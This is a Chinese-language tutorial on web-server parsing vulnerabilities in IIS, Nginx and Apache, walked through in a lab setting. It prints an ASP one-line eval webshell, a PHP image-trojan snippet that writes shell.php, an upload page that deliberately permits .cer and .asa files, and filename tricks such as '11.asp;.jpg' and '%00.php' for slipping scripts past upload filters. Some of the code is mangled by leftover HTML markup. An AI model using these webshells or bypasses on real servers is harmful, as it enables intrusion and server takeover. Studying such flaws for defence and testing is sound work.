解析漏洞—中间件
解析漏洞简介
解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。
该漏洞一般配合服务器的文件上传功能使用,以获取服务器的权限。
解析漏洞
常见的解析漏洞有以下几种
- IIS 5.x/6.0解析漏洞
- IIS 7.0/IIS 7.5/
- Nginx <0.8.3畸形解析漏洞
- Nginx <8.03 空字节代码执行漏洞
- Apache解析漏洞
1、IIS 5.x/6.0解析漏洞
首先,需要找到符合要求的IIS版本,版本号在这区间的IIS,asa、cer 、cdx文件会被当做asp文件执行。
所以当他禁止上传asp文件时,可以上传asa、cer 、cdx文件
这里我用的是IIS 6.0版本
文件
- html
<html> <head> <title>ASP无组件上传类title> <meta http-equiv="content-Type" content="text/html; charset=gb2312"> head> <body> <form action="aa.asp" method="post" enctype="multipart/form-data" onSubmit="return (this.upFile.value!='');"> <input type="file" name="upFile"/> <input type="submit" value="上传文件"/> form> body> html>
aa.asp
<%@ language="javascript"%> <% var self = Request.serverVariables("SCRIPT_NAME"); if (Request.serverVariables("REQUEST_METHOD")=="POST") { var oo = new uploadFile(); oo.path = ""; //存放路径,为空表示当前路径,默认为uploadFile oo.named = "file"; //命名方式,date表示用日期来命名,file表示用文件名本身,默认为file oo.ext = "jpg|gif|cer|asa"; //允许上传的扩展名,all表示都允许,默认为all oo.over = true; //当存在相同文件名时是否覆盖,默认为false oo.size = 1*1024*1024; //最大字节数限制,默认为1G oo.upload(); Response.write(' location.replace("'</span>+<span class="code-snippet__keyword" mp-original-font-size="14" mp-original-line-height="26" style="outline: 0px;max-width: 1000%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">self</span>+<span class="code-snippet__string" mp-original-font-size="14" mp-original-line-height="26" style="outline: 0px;max-width: 1000%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">'") '); } //ASP无组件上传类 function uploadFile() { var bLen = Request.totalBytes; var bText = Request.binaryRead(bLen); var oo = Server.createObject("ADODB.Stream"); oo.mode = 3; this.path = "uploadFile"; this.named = "file"; this.ext = "jpg|gif|cer|asa"; this.over = false; this.size = 1*1024*1024*1024; //1GB //文件上传 this.upload = function () { var o = this.getInfo(); if (o.size> this.size) { alert("文件过大,不能上传!"); return; } var f = this.getFileName(); var ext = f.replace(/^.+\./,""); if (this.ext!="all"&&!new RegExp(this.ext.replace(/,/g," |"),"ig").test(ext)) { alert("目前暂不支持扩展名为 "+ext+" 的文件上传!"); return; } if (this.named=="date") { f = new Date().toLocaleString().replace(/\D/g,"") + "." + ext; } oo.open(); oo.type = 1; oo.write(o.bin); this.path = this.path.replace(/[^\/\\]$/,"$&/"); var fso = Server.createObject("Scripting.FileSystemObject"); if(this.path!=""&&!fso.folderExists(Server.mapPath(this.path))) { fso.createFolder(Server.mapPath(this.path)); } try { oo.saveToFile(Server.mapPath(this.path+f),this.over?2:1); alert("上传成功!"); } catch(e) { alert("对不起,此文件已存在!"); } oo.close(); delete(oo); } //获取二进制和文件字节数 this.getInfo = function () { oo.open(); oo.type=1; oo.write(bText); oo.position = 0; oo.type=2; oo.charset="unicode"; var gbCode=escape(oo.readText()).replace(/%u(..)(..)/g,"%$2%$1"); var sPos=gbCode.indexOf("%0D%0A%0D%0A")+12; var sLength=bLen-(gbCode.substring(0,gbCode.indexOf("%0D%0A")).length/3)-sPos/3-6; oo.close(); oo.open(); oo.type = 1; oo.write(bText); oo.position=sPos/3; var bFile=oo.read(sLength); oo.close(); return { bin:bFile, size:sLength }; } //获取文件名 this.getFileName = function () { oo.open(); oo.type = 2; oo.writeText(bText); oo.position = 0; oo.charset = "gb2312"; var fileName = oo.readText().match(/filename=\"(.+?)\"/i)[1].split("\\").slice(-1)[0]; oo.close(); return fileName; } function alert(msg) { Response.write(' "> alert("</span><span class="code-snippet__string" mp-original-font-size="14" mp-original-line-height="26" style="outline: 0px;max-width: 1000%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">'+msg+'</span><span class="code-snippet__string" mp-original-font-size="14" mp-original-line-height="26" style="outline: 0px;max-width: 1000%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">"); '); } } %> ASP无组件上传类 " content="text/html; charset=gb2312"> self%> " method="post" enctype="multipart/form-data" onSubmit="return (this.upFile.value!='');"> " name="upFile"/> " value="上传文件"/>
11.cer
<%eval request("a")%>
利用方法
这里上传一个cer文件
上传成功后用菜刀连接,这里脚本类型选择ASP(eval)
连接成功
2、IIS 6.0
IIS 6.0 有两个单独的解析漏洞
目录解析
/xx.asp/xx.jpg
在网站下名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都会被IIS当作asp文件来解析并执行。
例如有个目录是 abc.asp,那么/abc.asp/1.jpg会被当作asp文件来执行。
这个漏洞很难遇到:
首先,得有个网站管理员取个名字为xx.asp的文件夹;然后,你还得有往这个文件夹上传文件的权限
文件解析
11.asp;.jpg
在IIS6.0下,分号后面的内容不被解析,也就是说
11.asp;.jpg 会被服务器当做11.asp执行
所以如果禁止上传asp文件时,可以上传一个11.asp;.jpg 文件
同样,利用前面的文件,开始上传
然后利用菜刀连接
3、IIS 7.0/IIS 7.5/nginx0.8.3解析漏洞
在默认Fast-CGI开启状况下,上传一个名字为bb.jpg的文件,然后访问bb.jpg/.php,在这个目录下就会生成一句话木马 shell.php
bb.jpg
fputs(fopen('shell.php','w'),'');?>
然后访问bb.jpg文件时,在后面加上./php,这个文件就会被当做php文件执行
因为没找到合适版本的IIS,nginx,所以这里就不演示了
4、Nginx <0.8.03 空字节代码执行漏洞
影响版:0.5.*,0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37
同样适用上面的图片马bb.jpg
在后面加上%00.php时,bb.jpg会被当做php文件执行
127.0.0.1/bb.jpg%00.php
5、apache解析漏洞
说到这个漏洞,就得说两个消息
好消息:因为apache官方不承认这是一个漏洞,所以每个版本的apache都会有这个漏洞出现
坏消息:开发员大都知道且认为这是个漏洞,所以会有一定的防御措施
apache其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php, 这时只要文件名里包含.php就会以php文件来执行—— 即使文件名是 test.php.jpg ,jpg在右边,也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样会以 php 方式执行。
